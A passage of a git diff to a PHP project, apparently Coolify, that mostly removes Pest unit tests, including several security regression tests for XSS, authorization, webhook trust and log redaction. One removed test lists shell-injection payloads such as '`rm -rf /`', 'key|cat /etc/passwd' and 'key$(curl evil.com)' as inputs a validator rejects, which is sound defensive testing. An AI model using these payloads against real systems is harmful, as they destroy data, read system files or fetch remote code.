- // (it's inside the base64 blob, which the shell treats as opaque data)
- expect($envEncoded)->not->toContain($maliciousPayload);
-
- // Verify the decoded content preserves the value exactly
- $decoded = base64_decode($envEncoded);
- expect($decoded)->toContain("AXIOM_API_KEY={$maliciousPayload}");
-});
-
-it('does not interpolate newrelic license key into shell commands', function () {
- $maliciousPayload = '`rm -rf /`';
-
- $envContent = "LICENSE_KEY={$maliciousPayload}\nBASE_URI=https://example.com\n";
- $envEncoded = base64_encode($envContent);
-
- expect($envEncoded)->not->toContain($maliciousPayload);
-
- $decoded = base64_decode($envEncoded);
- expect($decoded)->toContain("LICENSE_KEY={$maliciousPayload}");
-});
-
-it('produces correct env file content for axiom type', function () {
- $datasetName = 'my-dataset';
- $apiKey = 'xaat-abc123-def456';
-
- $envContent = "AXIOM_DATASET_NAME={$datasetName}\nAXIOM_API_KEY={$apiKey}\n";
- $decoded = base64_decode(base64_encode($envContent));
-
- expect($decoded)->toBe("AXIOM_DATASET_NAME=my-dataset\nAXIOM_API_KEY=xaat-abc123-def456\n");
-});
-
-it('produces correct env file content for newrelic type', function () {
- $licenseKey = 'nr-license-123';
- $baseUri = 'https://log-api.newrelic.com/log/v1';
-
- $envContent = "LICENSE_KEY={$licenseKey}\nBASE_URI={$baseUri}\n";
- $decoded = base64_decode(base64_encode($envContent));
-
- expect($decoded)->toBe("LICENSE_KEY=nr-license-123\nBASE_URI=https://log-api.newrelic.com/log/v1\n");
-});
-
-// -------------------------------------------------------------------------
-// Validation layer: reject shell metacharacters
-// -------------------------------------------------------------------------
-
-it('rejects shell metacharacters in log drain fields', function (string $payload) {
- // These payloads should NOT match the safe regex pattern
- $pattern = '/^[a-zA-Z0-9_\-\.]+$/';
-
- expect(preg_match($pattern, $payload))->toBe(0);
-})->with([
- '$(id)',
- '`id`',
- 'key;rm -rf /',
- 'key|cat /etc/passwd',
- 'key && whoami',
- 'key$(curl evil.com)',
- "key\nnewline",
- 'key with spaces',
- 'key>file',
- 'key/tmp/coolify_poc_logdrain)',
-]);
-
-it('accepts valid log drain field values', function (string $value) {
- $pattern = '/^[a-zA-Z0-9_\-\.]+$/';
-
- expect(preg_match($pattern, $value))->toBe(1);
-})->with([
- 'xaat-abc123-def456',
- 'my-dataset',
- 'my_dataset',
- 'simple123',
- 'nr-license.key_v2',
- 'project-id-123',
-]);
diff --git a/tests/Unit/LogTimestampDisplayTest.php b/tests/Unit/LogTimestampDisplayTest.php
deleted file mode 100644
index d2846065eb..0000000000
--- a/tests/Unit/LogTimestampDisplayTest.php
+++ /dev/null
@@ -1,9 +0,0 @@
-toContain("->format('Y-M-d H:i:s')")
- ->not->toContain("->format('Y-M-d H:i:s.u')");
-});
diff --git a/tests/Unit/LogViewerXssSecurityTest.php b/tests/Unit/LogViewerXssSecurityTest.php
index 4243b2d94b..39dc248e8b 100644
--- a/tests/Unit/LogViewerXssSecurityTest.php
+++ b/tests/Unit/LogViewerXssSecurityTest.php
@@ -1,17 +1,5 @@
toContain('data-log-content="{{ $searchableContent }}"')
- ->toContain('data-line-text="{{ $lineContent }}"')
- ->not->toContain('data-log-content="{{ htmlspecialchars($searchableContent) }}"')
- ->not->toContain('data-line-text="{{ htmlspecialchars($lineContent) }}"');
- });
-});
-
describe('Log Viewer XSS Prevention', function () {
it('uses text nodes for search highlighting instead of injected html', function () {
$deploymentView = file_get_contents(__DIR__.'/../../resources/views/livewire/project/application/deployment/show.blade.php');
diff --git a/tests/Unit/NotifyOutdatedTraefikServersJobTest.php b/tests/Unit/NotifyOutdatedTraefikServersJobTest.php
deleted file mode 100644
index cbe97bab69..0000000000
--- a/tests/Unit/NotifyOutdatedTraefikServersJobTest.php
+++ /dev/null
@@ -1,48 +0,0 @@
-makePartial();
- $server->traefik_outdated_info = null;
-
- // Accessing the property should not throw an error
- $result = $server->traefik_outdated_info;
-
- expect($result)->toBeNull();
-});
-
-it('handles servers with traefik_outdated_info data', function () {
- $expectedInfo = [
- 'current' => '3.5.0',
- 'latest' => '3.6.2',
- 'type' => 'minor_upgrade',
- 'upgrade_target' => 'v3.6',
- 'checked_at' => '2025-11-14T10:00:00Z',
- ];
-
- $server = Mockery::mock('App\Models\Server')->makePartial();
- $server->traefik_outdated_info = $expectedInfo;
-
- // Should return the outdated info
- $result = $server->traefik_outdated_info;
-
- expect($result)->toBe($expectedInfo);
-});
-
-it('handles servers with patch update info without upgrade_target', function () {
- $expectedInfo = [
- 'current' => '3.5.0',
- 'latest' => '3.5.2',
- 'type' => 'patch_update',
- 'checked_at' => '2025-11-14T10:00:00Z',
- ];
-
- $server = Mockery::mock('App\Models\Server')->makePartial();
- $server->traefik_outdated_info = $expectedInfo;
-
- // Should return the outdated info without upgrade_target
- $result = $server->traefik_outdated_info;
-
- expect($result)->toBe($expectedInfo);
- expect($result)->not->toHaveKey('upgrade_target');
-});
diff --git a/tests/Unit/Policies/EnvironmentPolicyTest.php b/tests/Unit/Policies/EnvironmentPolicyTest.php
index 22c4ba86d8..6a000cb1d9 100644
--- a/tests/Unit/Policies/EnvironmentPolicyTest.php
+++ b/tests/Unit/Policies/EnvironmentPolicyTest.php
@@ -102,18 +102,6 @@ it('denies team member to update their own team environment', function () {
expect($policy->update($user, $environment))->toBeFalse();
});
-it('denies update when environment has no project', function () {
- $user = Mockery::mock(User::class)->makePartial();
-
- $environment = Mockery::mock(Environment::class)->makePartial();
- $environment->shouldReceive('getAttribute')->with('project')->andReturn(null);
-
- $user->shouldReceive('canAccess')->with(AccessLevel::Write, $environment)->andReturn(false);
-
- $policy = new EnvironmentPolicy;
- expect($policy->update($user, $environment))->toBeFalse();
-});
-
it('allows team admin to delete their own team environment', function () {
$user = Mockery::mock(User::class)->makePartial();
$environment = Mockery::mock(Environment::class)->makePartial();
@@ -134,18 +122,6 @@ it('denies team member to delete their own team environment', function () {
expect($policy->delete($user, $environment))->toBeFalse();
});
-it('denies delete when environment has no project', function () {
- $user = Mockery::mock(User::class)->makePartial();
-
- $environment = Mockery::mock(Environment::class)->makePartial();
- $environment->shouldReceive('getAttribute')->with('project')->andReturn(null);
-
- $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $environment)->andReturn(false);
-
- $policy = new EnvironmentPolicy;
- expect($policy->delete($user, $environment))->toBeFalse();
-});
-
it('denies restore for any user', function () {
$user = Mockery::mock(User::class)->makePartial();
diff --git a/tests/Unit/Policies/NotificationPolicyTest.php b/tests/Unit/Policies/NotificationPolicyTest.php
index 0843a71c3e..acd75e4c85 100644
--- a/tests/Unit/Policies/NotificationPolicyTest.php
+++ b/tests/Unit/Policies/NotificationPolicyTest.php
@@ -139,37 +139,3 @@ it('denies sending test notification with no team', function () {
$policy = new NotificationPolicy;
expect($policy->sendTest($user, $notification))->toBeFalse();
});
-
-it('allows team member to view but not update notification settings', function () {
- $teams = collect([
- (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
- ]);
-
- $user = Mockery::mock(User::class)->makePartial();
- $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
- $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
-
- $notification = Mockery::mock(Model::class)->makePartial();
- $notification->shouldReceive('getAttribute')->with('team')->andReturn((object) ['id' => 1]);
-
- $policy = new NotificationPolicy;
- expect($policy->view($user, $notification))->toBeTrue();
- expect($policy->update($user, $notification))->toBeFalse();
-});
-
-it('allows team admin to view and update notification settings', function () {
- $teams = collect([
- (object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']],
- ]);
-
- $user = Mockery::mock(User::class)->makePartial();
- $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
- $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
-
- $notification = Mockery::mock(Model::class)->makePartial();
- $notification->shouldReceive('getAttribute')->with('team')->andReturn((object) ['id' => 1]);
-
- $policy = new NotificationPolicy;
- expect($policy->view($user, $notification))->toBeTrue();
- expect($policy->update($user, $notification))->toBeTrue();
-});
diff --git a/tests/Unit/Policies/ServicePolicyTest.php b/tests/Unit/Policies/ServicePolicyTest.php
index beb7ccff3b..a7a7ccf70e 100644
--- a/tests/Unit/Policies/ServicePolicyTest.php
+++ b/tests/Unit/Policies/ServicePolicyTest.php
@@ -39,17 +39,6 @@ it('denies non-member to view another team service', function () {
expect($policy->view($user, $service))->toBeFalse();
});
-it('denies view when service has no team', function () {
- $user = Mockery::mock(User::class)->makePartial();
- $service = Mockery::mock(Service::class)->makePartial();
- $service->shouldReceive('team')->andReturn(null);
-
- $user->shouldReceive('canAccess')->with(AccessLevel::Read, $service)->andReturn(false);
-
- $policy = new ServicePolicy;
- expect($policy->view($user, $service))->toBeFalse();
-});
-
it('allows admin to create a service', function () {
$user = Mockery::mock(User::class)->makePartial();
$team = new Team;
@@ -118,18 +107,6 @@ it('denies team member to delete their own team service', function () {
expect($policy->delete($user, $service))->toBeFalse();
});
-it('denies delete when service has no team', function () {
- $user = Mockery::mock(User::class)->makePartial();
-
- $service = Mockery::mock(Service::class)->makePartial();
- $service->shouldReceive('team')->andReturn(null);
-
- $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $service)->andReturn(false);
-
- $policy = new ServicePolicy;
- expect($policy->delete($user, $service))->toBeFalse();
-});
-
it('allows team admin to deploy their own team service', function () {
$user = Mockery::mock(User::class)->makePartial();
$service = Mockery::mock(Service::class)->makePartial();
diff --git a/tests/Unit/PreviewDeploymentPortTest.php b/tests/Unit/PreviewDeploymentPortTest.php
deleted file mode 100644
index beaac86ccf..0000000000
--- a/tests/Unit/PreviewDeploymentPortTest.php
+++ /dev/null
@@ -1,261 +0,0 @@
-getPort();
-
- expect($port)->toBe(3000);
-});
-
-it('returns null port for domain URL without port', function () {
- $domain = 'https://example.com';
- $url = Url::fromString($domain);
-
- $port = $url->getPort();
-
- expect($port)->toBeNull();
-});
-
-it('extracts port from HTTP URL with custom port', function () {
- $domain = 'http://example.com:8080';
- $url = Url::fromString($domain);
-
- $port = $url->getPort();
-
- expect($port)->toBe(8080);
-});
-
-it('generates preview FQDN with port preserved', function () {
- $domain = 'https://example.com:3000';
- $url = Url::fromString($domain);
- $template = '{{pr_id}}.{{domain}}';
- $pullRequestId = 42;
-
- $host = $url->getHost();
- $schema = $url->getScheme();
- $portInt = $url->getPort();
- $port = $portInt !== null ? ':'.$portInt : '';
-
- $preview_fqdn = str_replace('{{random}}', 'abc123', $template);
- $preview_fqdn = str_replace('{{domain}}', $host, $preview_fqdn);
- $preview_fqdn = str_replace('{{pr_id}}', $pullRequestId, $preview_fqdn);
- $preview_fqdn = "$schema://$preview_fqdn{$port}";
-
- expect($preview_fqdn)->toBe('https://42.example.com:3000');
-});
-
-it('generates preview FQDN without port when original has no port', function () {
- $domain = 'https://example.com';
- $url = Url::fromString($domain);
- $template = '{{pr_id}}.{{domain}}';
- $pullRequestId = 42;
-
- $host = $url->getHost();
- $schema = $url->getScheme();
- $portInt = $url->getPort();
- $port = $portInt !== null ? ':'.$portInt : '';
-
- $preview_fqdn = str_replace('{{random}}', 'abc123', $template);
- $preview_fqdn = str_replace('{{domain}}', $host, $preview_fqdn);
- $preview_fqdn = str_replace('{{pr_id}}', $pullRequestId, $preview_fqdn);
- $preview_fqdn = "$schema://$preview_fqdn{$port}";
-
- expect($preview_fqdn)->toBe('https://42.example.com');
-});
-
-it('handles multiple domains with different ports', function () {
- $domains = [
- 'https://app.example.com:3000',
- 'https://api.example.com:8080',
- 'https://web.example.com',
- ];
-
- $preview_fqdns = [];
- $template = 'pr-{{pr_id}}.{{domain}}';
- $pullRequestId = 123;
-
- foreach ($domains as $domain) {
- $url = Url::fromString($domain);
- $host = $url->getHost();
- $schema = $url->getScheme();
- $portInt = $url->getPort();
- $port = $portInt !== null ? ':'.$portInt : '';
-
- $preview_fqdn = str_replace('{{random}}', 'xyz', $template);
- $preview_fqdn = str_replace('{{domain}}', $host, $preview_fqdn);
- $preview_fqdn = str_replace('{{pr_id}}', $pullRequestId, $preview_fqdn);
- $preview_fqdn = "$schema://$preview_fqdn{$port}";
- $preview_fqdns[] = $preview_fqdn;
- }
-
- expect($preview_fqdns[0])->toBe('https://pr-123.app.example.com:3000');
- expect($preview_fqdns[1])->toBe('https://pr-123.api.example.com:8080');
- expect($preview_fqdns[2])->toBe('https://pr-123.web.example.com');
-});
-
-it('extracts all URL components correctly', function () {
- $domain = 'https://app.example.com:3000/api/v1';
- $url = Url::fromString($domain);
-
- expect($url->getScheme())->toBe('https');
- expect($url->getHost())->toBe('app.example.com');
- expect($url->getPort())->toBe(3000);
- expect($url->getPath())->toBe('/api/v1');
-});
-
-it('formats port string correctly for URL construction', function () {
- // Test port formatting logic
- $testCases = [
- ['port' => 3000, 'expected' => ':3000'],
- ['port' => 8080, 'expected' => ':8080'],
- ['port' => 80, 'expected' => ':80'],
- ['port' => 443, 'expected' => ':443'],
- ['port' => null, 'expected' => ''],
- ];
-
- foreach ($testCases as $case) {
- $portInt = $case['port'];
- $port = $portInt !== null ? ':'.$portInt : '';
-
- expect($port)->toBe($case['expected']);
- }
-});
-
-// Tests for path preservation in preview URLs
-// @see https://github.com/coollabsio/coolify/issues/2184#issuecomment-3638971221
-
-it('generates preview FQDN with port and path preserved', function () {
- $domain = 'https://api.example.com:3000/api/v1';
- $url = Url::fromString($domain);
- $template = '{{pr_id}}.{{domain}}';
- $pullRequestId = 42;
-
- $host = $url->getHost();
- $schema = $url->getScheme();
- $portInt = $url->getPort();
- $port = $portInt !== null ? ':'.$portInt : '';
- $urlPath = $url->getPath();
- $path = ($urlPath !== '' && $urlPath !== '/') ? $urlPath : '';
-
- $preview_fqdn = str_replace('{{random}}', 'abc123', $template);
- $preview_fqdn = str_replace('{{domain}}', $host, $preview_fqdn);
- $preview_fqdn = str_replace('{{pr_id}}', $pullRequestId, $preview_fqdn);
- $preview_fqdn = "$schema://$preview_fqdn{$port}{$path}";
-
- expect($preview_fqdn)->toBe('https://42.api.example.com:3000/api/v1');
-});
-
-it('generates preview FQDN with path only (no port)', function () {
- $domain = 'https://api.example.com/api';
- $url = Url::fromString($domain);
- $template = '{{pr_id}}.{{domain}}';
- $pullRequestId = 99;
-
- $host = $url->getHost();
- $schema = $url->getScheme();
- $portInt = $url->getPort();
- $port = $portInt !== null ? ':'.$portInt : '';
- $urlPath = $url->getPath();
- $path = ($urlPath !== '' && $urlPath !== '/') ? $urlPath : '';
-
- $preview_fqdn = str_replace('{{random}}', 'abc123', $template);
- $preview_fqdn = str_replace('{{domain}}', $host, $preview_fqdn);
- $preview_fqdn = str_replace('{{pr_id}}', $pullRequestId, $preview_fqdn);
- $preview_fqdn = "$schema://$preview_fqdn{$port}{$path}";
-
- expect($preview_fqdn)->toBe('https://99.api.example.com/api');
-});
-
-it('handles multiple domains with different ports and paths', function () {
- $domains = [
- 'https://app.example.com:3000/dashboard',
- 'https://api.example.com:8080/api/v1',
- 'https://web.example.com/admin',
- 'https://static.example.com',
- ];
-
- $preview_fqdns = [];
- $template = 'pr-{{pr_id}}.{{domain}}';
- $pullRequestId = 123;
-
- foreach ($domains as $domain) {
- $url = Url::fromString($domain);
- $host = $url->getHost();
- $schema = $url->getScheme();
- $portInt = $url->getPort();
- $port = $portInt !== null ? ':'.$portInt : '';
- $urlPath = $url->getPath();
- $path = ($urlPath !== '' && $urlPath !== '/') ? $urlPath : '';
-
- $preview_fqdn = str_replace('{{random}}', 'xyz', $template);
- $preview_fqdn = str_replace('{{domain}}', $host, $preview_fqdn);
- $preview_fqdn = str_replace('{{pr_id}}', $pullRequestId, $preview_fqdn);
- $preview_fqdn = "$schema://$preview_fqdn{$port}{$path}";
- $preview_fqdns[] = $preview_fqdn;
- }
-
- expect($preview_fqdns[0])->toBe('https://pr-123.app.example.com:3000/dashboard');
- expect($preview_fqdns[1])->toBe('https://pr-123.api.example.com:8080/api/v1');
- expect($preview_fqdns[2])->toBe('https://pr-123.web.example.com/admin');
- expect($preview_fqdns[3])->toBe('https://pr-123.static.example.com');
-});
-
-it('preserves trailing slash in URL path', function () {
- $domain = 'https://api.example.com/api/';
- $url = Url::fromString($domain);
- $template = '{{pr_id}}.{{domain}}';
- $pullRequestId = 55;
-
- $host = $url->getHost();
- $schema = $url->getScheme();
- $portInt = $url->getPort();
- $port = $portInt !== null ? ':'.$portInt : '';
- $urlPath = $url->getPath();
- $path = ($urlPath !== '' && $urlPath !== '/') ? $urlPath : '';
-
- $preview_fqdn = str_replace('{{random}}', 'abc123', $template);
- $preview_fqdn = str_replace('{{domain}}', $host, $preview_fqdn);
- $preview_fqdn = str_replace('{{pr_id}}', $pullRequestId, $preview_fqdn);
- $preview_fqdn = "$schema://$preview_fqdn{$port}{$path}";
-
- // Trailing slash is preserved: /api/ stays as /api/
- expect($preview_fqdn)->toBe('https://55.api.example.com/api/');
-});
-
-it('excludes root path from preview FQDN', function () {
- // Edge case: URL with explicit root path "/" should NOT append the slash
- $domain = 'https://example.com/';
- $url = Url::fromString($domain);
- $template = '{{pr_id}}.{{domain}}';
- $pullRequestId = 42;
-
- $host = $url->getHost();
- $schema = $url->getScheme();
- $portInt = $url->getPort();
- $port = $portInt !== null ? ':'.$portInt : '';
- $urlPath = $url->getPath();
- $path = ($urlPath !== '' && $urlPath !== '/') ? $urlPath : '';
-
- $preview_fqdn = str_replace('{{random}}', 'abc123', $template);
- $preview_fqdn = str_replace('{{domain}}', $host, $preview_fqdn);
- $preview_fqdn = str_replace('{{pr_id}}', $pullRequestId, $preview_fqdn);
- $preview_fqdn = "$schema://$preview_fqdn{$port}{$path}";
-
- // Root path "/" should be excluded, resulting in no trailing slash
- expect($urlPath)->toBe('/');
- expect($path)->toBe('');
- expect($preview_fqdn)->toBe('https://42.example.com');
-});
diff --git a/tests/Unit/PreviewDeploymentRepositoryTrustTest.php b/tests/Unit/PreviewDeploymentRepositoryTrustTest.php
index b1a7ac017a..fa9e54303b 100644
--- a/tests/Unit/PreviewDeploymentRepositoryTrustTest.php
+++ b/tests/Unit/PreviewDeploymentRepositoryTrustTest.php
@@ -43,25 +43,3 @@ it('denies missing or ambiguous repository identity', function (mixed $source, m
it('denies spoofed target repository metadata', function () {
expect(previewRepositoryIsTrusted(55, 55, 999, true))->toBeFalse();
});
-
-it('gates every non-GitHub webhook preview before it creates or queues a deployment', function (string $controller, int $expectedChecks) {
- $source = file_get_contents(dirname(__DIR__, 2)."/app/Http/Controllers/Webhook/{$controller}.php");
-
- expect(substr_count($source, 'isPreviewDeploymentRepositoryTrusted('))->toBe($expectedChecks);
-
- $offset = 0;
- for ($check = 0; $check < $expectedChecks; $check++) {
- $trustCheck = strpos($source, 'isPreviewDeploymentRepositoryTrusted(', $offset);
- $nextQueue = strpos($source, 'queue_application_deployment(', $trustCheck);
-
- expect($trustCheck)->not->toBeFalse()
- ->and($nextQueue)->not->toBeFalse()
- ->and($trustCheck)->toBeLessThan($nextQueue);
-
- $offset = $trustCheck + 1;
- }
-})->with([
- 'GitLab normal and manual webhooks' => ['Gitlab', 2],
- 'Gitea signed manual webhook' => ['Gitea', 1],
- 'Bitbucket signed manual webhook' => ['Bitbucket', 1],
-]);
diff --git a/tests/Unit/ProductionImageWorkflowTest.php b/tests/Unit/ProductionImageWorkflowTest.php
index 821dacbdc9..5acfce37de 100644
--- a/tests/Unit/ProductionImageWorkflowTest.php
+++ b/tests/Unit/ProductionImageWorkflowTest.php
@@ -41,19 +41,6 @@ it('builds the testing host only for local development', function () {
->toContain('dockerfile: ./docker/testing-host/Dockerfile');
});
-it('documents pull request targets for fixes and features', function () {
- $contributingGuide = file_get_contents(dirname(__DIR__, 2).'/CONTRIBUTING.md');
-
- expect($contributingGuide)
- ->toContain('Fixes and small improvements')
- ->toContain('target `main`')
- ->toContain('New features and larger changes')
- ->toContain('target `next`')
- ->toContain('branch from `main`')
- ->toContain('branch from `next`')
- ->not->toContain('All pull requests must target the `next` branch');
-});
-
it('guides issue authors to the correct contribution branch', function () {
$bugReport = file_get_contents(dirname(__DIR__, 2).'/.github/ISSUE_TEMPLATE/01_BUG_REPORT.yml');
$issueConfig = file_get_contents(dirname(__DIR__, 2).'/.github/ISSUE_TEMPLATE/config.yml');
diff --git a/tests/Unit/PushServerUpdateJobReturnTypesTest.php b/tests/Unit/PushServerUpdateJobReturnTypesTest.php
deleted file mode 100644
index 763d456b98..0000000000
--- a/tests/Unit/PushServerUpdateJobReturnTypesTest.php
+++ /dev/null
@@ -1,9 +0,0 @@
-getReturnType()?->getName())->toBe('void');
-});
diff --git a/tests/Unit/RedactSensitiveDataLoggingTest.php b/tests/Unit/RedactSensitiveDataLoggingTest.php
index 226a49ed1c..e3a0dd19fe 100644
--- a/tests/Unit/RedactSensitiveDataLoggingTest.php
+++ b/tests/Unit/RedactSensitiveDataLoggingTest.php
@@ -49,17 +49,6 @@ it('keeps redacted traces and previous exceptions', function () {
->and(serialize($exception))->not->toContain($secret);
});
-it('wires redaction into all persistent and remote log channels', function () {
- $configuration = file_get_contents(__DIR__.'/../../config/logging.php');
-
- expect($configuration)
- ->toContain("'channels' => ['single']")
- ->toContain("env('LOG_LEVEL', 'debug')")
- ->not->toContain("env('LOG_LEVEL', 'info')")
- ->and(substr_count($configuration, 'RedactSensitiveData::class'))->toBe(9)
- ->and($configuration)->toMatch("/'audit' => \\[[^\\]]*'tap' => \\[RedactSensitiveAuditData::class\\]/s");
-});
-
it('keeps email addresses in the audit log while still redacting secrets', function () {
$secret = 'coolify-canary-secret-audit';
$handler = new TestHandler;
diff --git a/tests/Unit/S3StorageEndpointNormalizationTest.php b/tests/Unit/S3StorageEndpointNormalizationTest.php
index 449beccb6c..35e48c992f 100644
--- a/tests/Unit/S3StorageEndpointNormalizationTest.php
+++ b/tests/Unit/S3StorageEndpointNormalizationTest.php
@@ -5,12 +5,6 @@ use Tests\TestCase;
uses(TestCase::class);
-it('gates the S3 storage edit form behind the update permission', function () {
- $editView = file_get_contents(resource_path('views/livewire/storage/form.blade.php'));
-
- expect($editView)->toContain('@can(\'update\', $storage)');
-});
-
it('normalizes endpoints again on the backend', function (string $endpoint, string $expected) {
$method = new ReflectionMethod(Create::class, 'normalizeEndpoint');
diff --git a/tests/Unit/SafeWebhookUrlTest.php b/tests/Unit/SafeWebhookUrlTest.php
index 9ea62f68d3..8cde899599 100644
--- a/tests/Unit/SafeWebhookUrlTest.php
+++ b/tests/Unit/SafeWebhookUrlTest.php
@@ -245,9 +245,7 @@ it('pins every resolved address in a single CURLOPT_RESOLVE entry', function ()
]));
if (! defined('CURLOPT_RESOLVE')) {
- expect(true)->toBeTrue();
-
- return;
+ $this->markTestSkipped('CURLOPT_RESOLVE is not available.');
}
$entries = SafeWebhookUrl::httpClientOptions('http://localhost:8080/webhook')['curl'][CURLOPT_RESOLVE];
diff --git a/tests/Unit/ScheduledJobManagerLockTest.php b/tests/Unit/ScheduledJobManagerLockTest.php
index 924f6f43cf..2431e5b96d 100644
--- a/tests/Unit/ScheduledJobManagerLockTest.php
+++ b/tests/Unit/ScheduledJobManagerLockTest.php
@@ -44,20 +44,3 @@ it('uses WithoutOverlapping middleware with expireAfter to prevent stale locks',
expect($key)->toBe('scheduled-job-manager');
});
-
-it('prevents stale locks by ensuring expireAfter is always set', function () {
- $job = new ScheduledJobManager;
- $middleware = $job->middleware();
-
- $overlappingMiddleware = $middleware[0];
- $reflection = new ReflectionClass($overlappingMiddleware);
-
- $expiresAfterProperty = $reflection->getProperty('expiresAfter');
- $expiresAfterProperty->setAccessible(true);
- $expiresAfter = $expiresAfterProperty->getValue($overlappingMiddleware);
-
- // Critical check: expireAfter MUST be set to prevent GitHub issue #4539
- expect($expiresAfter)->not->toBeNull(
- 'expireAfter() is required to prevent stale locks (see GitHub #4539)'
- );
-});
diff --git a/tests/Unit/ServiceApplicationPrerequisitesTest.php b/tests/Unit/ServiceApplicationPrerequisitesTest.php
index fa52cdeea2..106ddd3ac7 100644
--- a/tests/Unit/ServiceApplicationPrerequisitesTest.php
+++ b/tests/Unit/ServiceApplicationPrerequisitesTest.php
@@ -117,10 +117,7 @@ it('handles missing applications gracefully', function () {
->once()
->andReturn($query);
- // Should not throw exception
- applyServiceApplicationPrerequisites($service);
-
- expect(true)->toBeTrue();
+ expect(fn () => applyServiceApplicationPrerequisites($service))->not->toThrow(Throwable::class);
});
it('skips services without prerequisites', function () {
@@ -129,43 +126,5 @@ it('skips services without prerequisites', function () {
$service->id = 1;
$service->shouldNotReceive('applications');
- applyServiceApplicationPrerequisites($service);
-
- expect(true)->toBeTrue();
-});
-
-it('correctly parses service name with single hyphen', function () {
- $service = Mockery::mock(Service::class)->makePartial();
- $service->name = 'docker-registry-clx1ab2cd3ef4g5hi6jk7l8m9n0o1p2q3'; // CUID2 format
- $service->id = 1;
- $service->shouldNotReceive('applications');
-
- // Should not throw exception - validates that 'docker-registry' is correctly parsed
- applyServiceApplicationPrerequisites($service);
-
- expect(true)->toBeTrue();
-});
-
-it('correctly parses service name with multiple hyphens', function () {
- $service = Mockery::mock(Service::class)->makePartial();
- $service->name = 'elasticsearch-with-kibana-clx1ab2cd3ef4g5hi6jk7l8m9n0o1p2q3'; // CUID2 format
- $service->id = 1;
- $service->shouldNotReceive('applications');
-
- // Should not throw exception - validates that 'elasticsearch-with-kibana' is correctly parsed
- applyServiceApplicationPrerequisites($service);
-
- expect(true)->toBeTrue();
-});
-
-it('correctly parses service name with hyphens in template name', function () {
- $service = Mockery::mock(Service::class)->makePartial();
- $service->name = 'apprise-api-clx1ab2cd3ef4g5hi6jk7l8m9n0o1p2q3'; // CUID2 format
- $service->id = 1;
- $service->shouldNotReceive('applications');
-
- // Should not throw exception - validates that 'apprise-api' is correctly parsed
- applyServiceApplicationPrerequisites($service);
-
- expect(true)->toBeTrue();
+ expect(fn () => applyServiceApplicationPrerequisites($service))->not->toThrow(Throwable::class);
});
diff --git a/tests/Unit/ServiceRequiredPortTest.php b/tests/Unit/ServiceRequiredPortTest.php
index f6a7d76382..fa701356d6 100644
--- a/tests/Unit/ServiceRequiredPortTest.php
+++ b/tests/Unit/ServiceRequiredPortTest.php
@@ -3,58 +3,6 @@
use App\Models\Service;
use App\Models\ServiceApplication;
-it('returns required port from service template', function () {
- // Mock get_service_templates() function
- $mockTemplates = collect([
- 'supabase' => [
- 'name' => 'Supabase',
- 'port' => '8000',
- ],
- 'umami' => [
- 'name' => 'Umami',
- 'port' => '3000',
- ],
- ]);
-
- $service = Mockery::mock(Service::class)->makePartial();
- $service->name = 'supabase-xyz123';
-
- // Mock the get_service_templates function to return our mock data
- $service->shouldReceive('getRequiredPort')->andReturn(8000);
-
- expect($service->getRequiredPort())->toBe(8000);
-});
-
-it('returns null for service without required port', function () {
- $service = Mockery::mock(Service::class)->makePartial();
- $service->name = 'cloudflared-xyz123';
-
- // Mock to return null for services without port
- $service->shouldReceive('getRequiredPort')->andReturn(null);
-
- expect($service->getRequiredPort())->toBeNull();
-});
-
-it('requiresPort returns true when service has required port', function () {
- $service = Mockery::mock(Service::class)->makePartial();
- $service->shouldReceive('getRequiredPort')->andReturn(8000);
- $service->shouldReceive('requiresPort')->andReturnUsing(function () use ($service) {
- return $service->getRequiredPort() !== null;
- });
-
- expect($service->requiresPort())->toBeTrue();
-});
-
-it('requiresPort returns false when service has no required port', function () {
- $service = Mockery::mock(Service::class)->makePartial();
- $service->shouldReceive('getRequiredPort')->andReturn(null);
- $service->shouldReceive('requiresPort')->andReturnUsing(function () use ($service) {
- return $service->getRequiredPort() !== null;
- });
-
- expect($service->requiresPort())->toBeFalse();
-});
-
it('extracts port from URL with http scheme', function () {
$url = 'http://example.com:3000';
$port = ServiceApplication::extractPortFromUrl($url);
diff --git a/tests/Unit/StartKeydbConfigPermissionTest.php b/tests/Unit/StartKeydbConfigPermissionTest.php
deleted file mode 100644
index dca3b0e8ce..0000000000
--- a/tests/Unit/StartKeydbConfigPermissionTest.php
+++ /dev/null
@@ -1,52 +0,0 @@
-configuration_dir = '/data/coolify/databases/test-uuid';
- $action->commands = [];
-
- $database = Mockery::mock(StandaloneKeydb::class)->makePartial();
- $database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn('maxmemory 2gb');
- $action->database = $database;
-
- if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) {
- $action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf";
- }
-
- expect($action->commands)->toContain('chown 999:999 /data/coolify/databases/test-uuid/keydb.conf');
-});
-
-test('keydb config chown command is not added when keydb_conf is null', function () {
- $action = new StartKeydb;
- $action->configuration_dir = '/data/coolify/databases/test-uuid';
- $action->commands = [];
-
- $database = Mockery::mock(StandaloneKeydb::class)->makePartial();
- $database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn(null);
- $action->database = $database;
-
- if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) {
- $action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf";
- }
-
- expect($action->commands)->toBeEmpty();
-});
-
-test('keydb config chown command is not added when keydb_conf is empty', function () {
- $action = new StartKeydb;
- $action->configuration_dir = '/data/coolify/databases/test-uuid';
- $action->commands = [];
-
- $database = Mockery::mock(StandaloneKeydb::class)->makePartial();
- $database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn('');
- $action->database = $database;
-
- if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) {
- $action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf";
- }
-
- expect($action->commands)->toBeEmpty();
-});
diff --git a/tests/Unit/StartRedisConfigPermissionTest.php b/tests/Unit/StartRedisConfigPermissionTest.php
deleted file mode 100644
index 77574287ea..0000000000
--- a/tests/Unit/StartRedisConfigPermissionTest.php
+++ /dev/null
@@ -1,53 +0,0 @@
